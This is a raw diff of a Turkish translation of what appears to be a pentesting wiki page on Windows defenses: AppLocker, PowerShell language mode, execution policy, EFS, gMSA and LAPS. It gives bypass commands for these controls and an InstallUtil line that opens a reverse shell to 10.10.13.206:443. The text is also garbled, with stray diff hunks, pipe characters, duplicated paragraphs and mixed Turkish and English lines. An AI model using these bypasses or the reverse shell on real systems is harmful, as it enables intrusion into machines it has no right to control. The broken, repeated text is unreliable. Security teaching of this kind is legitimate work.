gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
|
||||
gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifreli bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, bu da güvenli bir ortam sağlar. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
|
||||
|
||||

|
||||
|
||||
@ -158,27 +158,27 @@ Bu şifreyi [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordRe
|
||||
```
|
||||
[**Bu yazıda daha fazla bilgi bulun**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nasıl yapılacağı hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
|
||||
Ayrıca, **gMSA**'nın **şifresini** **okumak** için bir **NTLM relay saldırısı** gerçekleştirme hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
|
||||
|
||||
## LAPS
|
||||
|
||||
**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
**Yerel Yönetici Şifre Çözümü (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılar için ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
|
||||
{{#ref}}
|
||||
active-directory-methodology/laps.md
|
||||
{{#endref}}
|
||||
|
||||
## PS Constrained Language Mode
|
||||
## PS Kısıtlı Dil Modu
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
|
||||
PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme gibi.
|
||||
|
||||
### **Kontrol Et**
|
||||
```powershell
|
||||
```bash
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
```
|
||||
### Atlatma
|
||||
```powershell
|
||||
```bash
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak **Powershell** kodunu herhangi bir süreçte çalıştırabilir ve kısıtlı modu atlayabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## PS İcra Politikası
|
||||
## PS Execution Policy
|
||||
|
||||
Varsayılan olarak **kısıtlı** olarak ayarlanmıştır. Bu politikayı atlamanın ana yolları:
|
||||
```powershell
|
||||
Varsayılan olarak **restricted** olarak ayarlanmıştır. Bu politikayı aşmanın ana yolları:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
|
||||
@ -223,7 +223,7 @@ Daha fazlasını [burada](https://blog.netspi.com/15-ways-to-bypass-the-powershe
|
||||
|
||||
Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir.
|
||||
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır, her Windows makinesinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumludur. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder, bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
|
||||
|
||||
### Ana SSP'ler
|
||||
|
||||
@ -238,7 +238,7 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum
|
||||
- **Negotiate**: Kullanılacak protokolü müzakere etmek için kullanılır (Kerberos veya NTLM, varsayılan olan Kerberos'tur)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### Müzakere birkaç yöntem veya yalnızca bir tane sunabilir.
|
||||
#### Müzakere birkaç yöntem veya sadece bir tane sunabilir.
|
||||
|
||||
## UAC - Kullanıcı Hesabı Kontrolü
|
||||
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## AppLocker Politikası
|
||||
|
||||
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
|
||||
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\
|
||||
Organizasyonların genellikle **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimini kısıtlaması yaygındır, **ancak bunların hepsi atlatılabilir**.
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ince ayar kontrolü** sağlar.\
|
||||
Organizasyonların **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimi sağlaması yaygındır, **ancak bunların hepsi atlatılabilir**.
|
||||
|
||||
### Kontrol
|
||||
|
||||
Hangi dosyaların/uzantıların kara listeye alındığını/beyaz listeye alındığını kontrol edin:
|
||||
```powershell
|
||||
```bash
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
@ -26,18 +26,18 @@ Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve p
|
||||
|
||||
### Bypass
|
||||
|
||||
- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak** için kullanabileceğiniz **yazılabilir klasörler** vardır.
|
||||
- AppLocker Politikasını atlamak için **Yazılabilir klasörler**: Eğer AppLocker, `C:\Windows\System32` veya `C:\Windows` içindeki herhangi bir şeyi çalıştırmaya izin veriyorsa, bunu **atlamak için** kullanabileceğiniz **yazılabilir klasörler** vardır.
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
- Yaygın olarak **güvenilen** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları, AppLocker'ı atlatmak için de yararlı olabilir.
|
||||
- Yaygın olarak **güvenilir** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları AppLocker'ı atlatmak için de yararlı olabilir.
|
||||
- **Kötü yazılmış kurallar da atlatılabilir**
|
||||
- Örneğin, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izinli olacaktır.
|
||||
- Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** yürütülebilir dosyasını **engellemeye** odaklanır, ancak **diğer** [**PowerShell yürütülebilir konumlarını**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) unutur, örneğin `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe`.
|
||||
- **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı yüksektir. Bu nedenle, **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**.
|
||||
- **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmadığından emin olmak için gereken test miktarı yüksektir. Bu nedenle **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**.
|
||||
- Herhangi bir süreçte **Powershell** kodunu **çalıştırmak** ve AppLocker'ı atlatmak için [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Kimlik Bilgileri Depolama
|
||||
@ -49,7 +49,7 @@ Yerel kimlik bilgileri bu dosyada mevcuttur, şifreler hashlenmiştir.
|
||||
### Yerel Güvenlik Otoritesi (LSA) - LSASS
|
||||
|
||||
**Kimlik bilgileri** (hashlenmiş) bu alt sistemin **belleğinde** **kaydedilir**.\
|
||||
**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim belirteçleri**... yönetir.\
|
||||
**LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim jetonları**... yönetir.\
|
||||
LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kontrol eden** ve bir alan kullanıcısını kimlik doğrulamak için **alan denetleyicisi** ile **konuşan** olacaktır.
|
||||
|
||||
**Kimlik bilgileri**, **işlem LSASS** içinde **kaydedilir**: Kerberos biletleri, NT ve LM hashleri, kolayca çözülebilen şifreler.
|
||||
@ -58,14 +58,14 @@ LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kon
|
||||
|
||||
LSA, diskte bazı kimlik bilgilerini kaydedebilir:
|
||||
|
||||
- Aktif Dizin'in bilgisayar hesabının şifresi (ulaşılamayan alan denetleyicisi).
|
||||
- Etki Alanı Denetleyicisi'ne (ulaşılamayan) ait bilgisayar hesabının şifresi.
|
||||
- Windows hizmetlerinin hesaplarının şifreleri
|
||||
- Zamanlanmış görevler için şifreler
|
||||
- Daha fazlası (IIS uygulamalarının şifresi...)
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
Bu, Aktif Dizin'in veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur.
|
||||
Bu, Active Directory'nin veritabanıdır. Sadece Alan Denetleyicileri'nde mevcuttur.
|
||||
|
||||
## Defender
|
||||
|
||||
@ -103,20 +103,20 @@ sc query windefend
|
||||
```
|
||||
## Şifreli Dosya Sistemi (EFS)
|
||||
|
||||
EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
EFS, dosyaları **şifreleme** yoluyla güvence altına alır ve **Dosya Şifreleme Anahtarı (FEK)** olarak bilinen **simetrik anahtar** kullanır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
|
||||
|
||||
**Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir:
|
||||
|
||||
- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifre çözülür.
|
||||
- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifre çözülür.
|
||||
- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifreleri çözülür.
|
||||
- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifreleri çözülür.
|
||||
|
||||
Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak şifre çözmeye izin vermez.
|
||||
Bu şifreleme yöntemi, **şifreli dosyalara** sahip olan için **şeffaf erişim** sağlar. Ancak, yalnızca sahibin şifresini değiştirmek ve oturum açmak, şifre çözmeye izin vermez.
|
||||
|
||||
**Ana Noktalar**:
|
||||
|
||||
- EFS, kullanıcının açık anahtarı ile şifrelenmiş simetrik bir FEK kullanır.
|
||||
- Şifre çözme, FEK'ye erişmek için kullanıcının özel anahtarını kullanır.
|
||||
- Belirli koşullar altında otomatik şifre çözme gerçekleşir, örneğin FAT32'ye kopyalama veya ağ iletimi gibi.
|
||||
- FAT32'ye kopyalama veya ağ iletimi gibi belirli koşullar altında otomatik şifre çözme gerçekleşir.
|
||||
- Şifreli dosyalar, ek adımlar olmadan sahibine erişilebilir.
|
||||
|
||||
### EFS bilgilerini kontrol et
|
||||
@ -124,13 +124,13 @@ Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağ
|
||||
Bir **kullanıcının** bu **hizmeti** kullanıp kullanmadığını kontrol etmek için bu yolun var olup olmadığını kontrol edin:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Dosyaya **kimlerin** **erişimi** olduğunu kontrol etmek için cipher /c \<file>\
|
||||
Ayrıca bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **şifre çözebilirsiniz**.
|
||||
Ayrıca, bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak tüm dosyaları **şifreleyebilir** ve **şifre çözebilirsiniz**.
|
||||
|
||||
### EFS dosyalarını şifre çözme
|
||||
|
||||
#### Yetki Sistemi Olmak
|
||||
|
||||
Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işleminin token'ını taklit edebilirsiniz (`incognito`'dan `impersonate_token`). Ya da sadece kullanıcının işlemine `migrate` edebilirsiniz.
|
||||
Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işleminin token'ını taklit edebilirsiniz (`impersonate_token` from `incognito`). Ya da sadece kullanıcının işlemine `migrate` edebilirsiniz.
|
||||
|
||||
#### Kullanıcının şifresini bilmek
|
||||
|
||||
@ -143,12 +143,12 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirmek için **Grup Yönetilen Hizmet Hesapları (gMSA)** geliştirmiştir. Geleneksel hizmet hesaplarının genellikle "**Şifre asla süresi dolmaz**" ayarı etkinken, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
|
||||
|
||||
- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir.
|
||||
- **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, böylece güvenliklerini artırır.
|
||||
- **Gelişmiş Güvenlik**: Bu hesaplar, kilitlenmelere karşı bağışık olup etkileşimli oturum açmak için kullanılamaz, bu da güvenliklerini artırır.
|
||||
- **Birden Fazla Ana Bilgisayar Desteği**: gMSA'lar, birden fazla ana bilgisayar arasında paylaşılabilir, bu da onları birden fazla sunucuda çalışan hizmetler için ideal hale getirir.
|
||||
- **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
|
||||
- **Basitleştirilmiş SPN Yönetimi**: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değiştiğinde Hizmet Prensip Adını (SPN) otomatik olarak güncelleyerek SPN yönetimini basitleştirir.
|
||||
|
||||
gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
|
||||
gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilen, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve güvenli bir ortam sağlar. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantının 'Sealing & Secure' ile kimlik doğrulaması yapılması gerekir.
|
||||
|
||||

|
||||
|
||||
@ -158,11 +158,11 @@ Bu şifreyi [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordRe
|
||||
```
|
||||
[**Bu yazıda daha fazla bilgi bulun**](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
|
||||
Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nasıl yapılacağı hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
|
||||
Ayrıca, **gMSA**'nın **şifresini** **okumak** için nasıl bir **NTLM relay attack** gerçekleştireceğinizi anlatan bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
|
||||
|
||||
## LAPS
|
||||
|
||||
**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir, yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
**Local Administrator Password Solution (LAPS)**, [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) üzerinden indirilebilir ve yerel Yönetici şifrelerinin yönetimini sağlar. Bu şifreler, **rastgele**, benzersiz ve **düzenli olarak değiştirilen** şifrelerdir ve merkezi olarak Active Directory'de saklanır. Bu şifrelere erişim, yetkili kullanıcılara ACL'ler aracılığıyla kısıtlanmıştır. Yeterli izinler verildiğinde, yerel yönetici şifrelerini okuma yeteneği sağlanır.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -170,15 +170,15 @@ Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nas
|
||||
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme gibi.
|
||||
|
||||
### **Kontrol Et**
|
||||
```powershell
|
||||
```bash
|
||||
$ExecutionContext.SessionState.LanguageMode
|
||||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
```
|
||||
### Atlatma
|
||||
```powershell
|
||||
```bash
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanarak **Powershell** kodunu herhangi bir süreçte çalıştırabilir ve kısıtlı modu atlayabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## PS İcra Politikası
|
||||
## PS Execution Policy
|
||||
|
||||
Varsayılan olarak **kısıtlı** olarak ayarlanmıştır. Bu politikayı atlamanın ana yolları:
|
||||
```powershell
|
||||
Varsayılan olarak **restricted** olarak ayarlanmıştır. Bu politikayı aşmanın ana yolları:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
|
||||
@ -223,7 +223,7 @@ Daha fazlasını [buradan](https://blog.netspi.com/15-ways-to-bypass-the-powersh
|
||||
|
||||
Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir.
|
||||
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
|
||||
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumludur. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder, bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
|
||||
|
||||
### Ana SSP'ler
|
||||
|
||||
@ -240,9 +240,9 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum
|
||||
|
||||
#### Müzakere birkaç yöntem veya yalnızca birini sunabilir.
|
||||
|
||||
## UAC - Kullanıcı Hesabı Denetimi
|
||||
## UAC - Kullanıcı Hesabı Kontrolü
|
||||
|
||||
[Kullanıcı Hesabı Denetimi (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir.
|
||||
[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir.
|
||||
|
||||
{{#ref}}
|
||||
uac-user-account-control.md
|
||||
|
||||
@ -10,11 +10,11 @@
|
||||
|
||||
### **Statik tespit**
|
||||
|
||||
